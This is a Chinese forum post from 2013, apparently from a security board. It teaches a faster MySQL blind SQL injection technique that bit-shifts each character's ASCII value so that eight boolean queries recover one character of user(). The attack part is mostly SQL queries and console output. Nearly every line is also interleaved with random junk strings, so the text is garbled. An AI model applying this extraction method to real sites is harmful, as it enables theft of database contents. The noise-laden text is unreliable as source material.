找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2140|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
6 `9 p/ u2 U; O- v$ ?4 w
( y4 g* `" O7 E4 ^: B7 W 0 C/ |# q4 }4 a- I- o

* k, a  a9 E- O) F下面将以查询mysql数据库当中user()的第一位为例:  W" ^- J" k5 O# q. H

5 @; i' r1 I8 [' n7 @
* G% u  i2 k  X( z, Y- Z/ _9 [4 V$ S' E
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
0 L: h2 V: h- z) G
/ W* R4 T' L7 Z8 F 1 s: {; a. o6 k1 u1 N2 O- l4 S

: e+ d7 l; d& a/ K首先执行如下sql语句:
* S5 h% G# ?3 h( A
  z4 Z. S$ n% ~1 u7 _: Q% V 6 `; h7 P% h7 b' q; O/ P' N
' L& m# Y+ a( z6 g. b, o+ P9 Y
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
, t6 I: N" k4 I- n" X6 G, V9 Y2 s! e* U5 K1 ^

! F5 d) U# j4 Q8 V! f3 s
0 R- I0 K/ k9 l# x" y' A我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
* j* w1 D) {  I/ Q
% Y: d* b: W9 e$ S" J! w. _0 w
& }% u8 C# K' e2 f+ N/ x; N  {; G0 e: U0 m+ \; Q
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
2 l1 l4 d0 B* L$ _6 O5 c: V& s$ p" \+ w: F3 Q5 b

1 V2 h& O  C* d' }) v) D8 Z# |* M9 U
如果运算结果为1,说明第一位为0,不为1
$ q0 p: d! d' x/ ~/ i0 S% D6 w: F; b
3 C; M. @& g/ h6 W5 s- Y1 w. [  f 3 h# J" D5 P! {
2 w6 c. w7 N* }  I) U2 p) {/ W
+————————————–+/ k4 W7 O# ^; b1 C
" W0 f0 q- @1 p3 \0 U
| (ascii((substr(user(),1,1))) >> 7)=0 |. p% b0 b, h" u) o9 e2 |' |7 g" R1 h- w
' s% f. m9 E! ^3 U% t! V+ r
+————————————–+0 x# h$ J. e# n' F3 U! Z. A
& R# M/ |3 q1 C4 m  y& ^- D
| 1 |
. f. Y6 y+ m& |# u2 E1 D6 G- q/ ~, D
+————————————–++ N9 N5 e( V0 \% ~/ x+ t8 M

9 d" @* E4 o. b9 k. v1 row in set (0.00 sec)" P: b0 H( \0 d- i) v
. ]% X- @2 {7 H
这样我们就确定这个8bit的ascii的第一位为0
( B' x+ B. \  b' n
# F# \' L& o1 z3 t) |# v2 f# O# Z
& p% U% k0 r  c: w1 Q0 U4 j; j7 L- e# a4 P" G. k6 _
第二次我们来做6次右偏移来确定前两位5 U% E! M* f5 N/ p, b1 P
6 z, T# ^8 v8 D) G5 R9 Z" K
& I" W# N, T; s2 A

) x/ W/ ~# l2 l# n# m! v前两位可能是01或00,即依然可以与0做比较,- W) W1 B8 G) ~9 V7 e' z
* |* X3 ]) X5 T# I$ T6 V
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
! X+ G  k3 I3 s' d; J& `4 y( K1 K5 I8 J$ ?
+————————————–+  q2 B$ P7 Q" B6 O) a, e% M
  f4 H6 v! k* G7 N0 _
| (ascii((substr(user(),1,1))) >> 6)=0 |
& G+ w+ w* u, i2 e3 w) n( B; S  Y
6 e& S+ j! r4 z* e& t+————————————–+
$ S5 Q: V3 \1 T1 n2 m
, s% R; Q! u# H9 K| 0 |
0 z2 Y" m. w% ^" k+ b, ]7 |* a" _" o8 R' G& ~3 z
+————————————–+. `6 q3 O. c7 `% \! f
: U7 y/ G" E1 m9 F
1 row in set (0.00 sec)
8 X  d% o, q; }4 b+ c9 M& y& k; o3 v, Y. @" g9 \

. M2 ]4 T% |& }, E  Z+ y& A
7 N7 c# P, D. _/ N' @结果为0,即第二位为11 N* @' i  z" g

3 [. u* p* Z9 f1 j, h; f
* k! ?4 e. b$ G
9 u2 e7 d( |) |' n% E开始猜测前三位为010或011, Q' S& I- E$ V7 \
6 K$ B4 k& M2 n, }
! D  w) h5 {4 Q- U" ~6 J" t$ z! d
2 q" j# I' J7 w5 K- Y" v4 W
让我们看看010和011的ascii码是多少
- J) b4 x9 {# {8 K5 d9 b4 A! g2 ?/ A5 T8 d0 t4 Y3 g% c& Z: F

) i0 G. }. a' I5 M. a( N4 f8 w& |+ G
分别查询select b’011′ select b’010′+ b+ _1 G+ t5 }1 O

  q. r0 A4 q7 u4 ?1 W7 ^0 u2 Y
0 O$ ^4 [/ u. E, T8 y4 M- Q5 ^! M( h. a8 v
获得结果 010 = 2 011 = 39 v/ b2 J8 i4 Q+ g1 m8 F9 c

9 d: y" E/ @2 F+ z % H; {; c8 t# j' X. c/ \) e* U! z
0 e) ], `$ j0 O1 `  v* {
执行如下sql:
7 O# M5 [, U3 V0 d6 {
) c$ v0 Q+ G- N: C8 ^1 g& L' \ ) I( a5 F: c* V; }7 |

0 s$ q1 ^( R, b" I9 o0 A0 E5 x3 Smysql> select (ascii((substr(user(),1,1))) >> 5)=2;, v- t2 j  m1 S* {7 Y1 R7 i
) D% B. M9 p: r% A1 u
+————————————–+5 P4 @1 |$ x7 z
/ F* x: C! \/ s- c' A- Y
| (ascii((substr(user(),1,1))) >> 5)=2 |- n3 z& c2 u) W% B
/ F( d4 S- u5 V$ G
+————————————–+
0 A% ^9 i( `) E' o, g: k  f( K0 I9 ]1 X3 b' ^  R
| 0 |
, R4 A5 O* O2 d. P2 n
. S) F# u$ a9 S& ?' w1 C2 r+————————————–+
5 V1 u" T3 S( K5 L9 T' T1 W7 j) l: g. l3 ?% m% u9 V" P
即前三位不为010,而是011
) C2 S6 R9 ]4 C- L0 I7 h/ U: |$ y( c, y9 B

8 n% @- p- u$ x6 ^# q8 Y# S' J8 H9 N' f$ D, B$ W
直到获得最后一位
& }: d& q: ~9 }  \  E
. @* ^. U8 J9 l, N
7 M4 `& G* [' T" c- b% n  u( T  k3 }& v
+ z/ V# S$ H# [% E$ z/ ~" j最终结果为:01110010
2 z/ K8 H8 Y. j+ O
/ v2 r- v5 Q3 Y& B* Q$ v
) s* Q" [: q8 R, n6 l* d% l, X/ ]: x0 c0 \0 \+ [% T2 j  B. R
转换一下:
, W( i1 Y8 B- u1 v  C' Z7 k' H3 w% z0 v# a0 Q5 Q! n
0 B, |+ s  V2 v9 h% j# |  _

, q; k% Z, ]& r5 o7 j- E! dselect b’01110010′+ h. }" ^" r, d
6 N/ h0 A9 H4 A* t% s, `- J% |

: @6 V" V# U3 R/ [3 A$ {+ d! j3 \8 L9 l& l1 `
查询结果7 A3 N, Z$ R% i: L& v+ M, t' w
! p) u% k7 v. o; e5 ]

7 K+ |( G0 |& d
/ P' o$ q+ y) x4 f3 F6 `- K+————-+7 {) s: P! J8 I9 A( @3 Z

' L# E9 R2 ~  V| b’01110010′ |0 D- O9 T  r- ^: A% v

/ _$ n/ w. i! o/ f: y! t& O+————-+* y0 u0 ?: d, ]: \

2 f3 r+ @' _  N+ g8 i. s| r |$ @) ?/ H+ L) P9 K4 l* Y
( i. V  Q, r! e( I$ }4 H$ o
+————-+4 I5 _. Y/ L+ d# @% G  d2 S# D. W
+ g+ {- z( Q% _) U& G. @
1 row in set (0.00 sec)
7 O' u3 K+ K9 U, i; w; K6 J0 h  T: T# e  X( o9 y5 }% h% z6 _. t9 ]

1 K  n+ t. C" p/ @) M0 @. }8 n/ b" x7 B3 p
这样我们就获得了user()的第一位.其它位依此类推
6 W1 C2 \) U9 g4 B" F$ i
# W: ~9 O6 w1 q' ?' v! @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表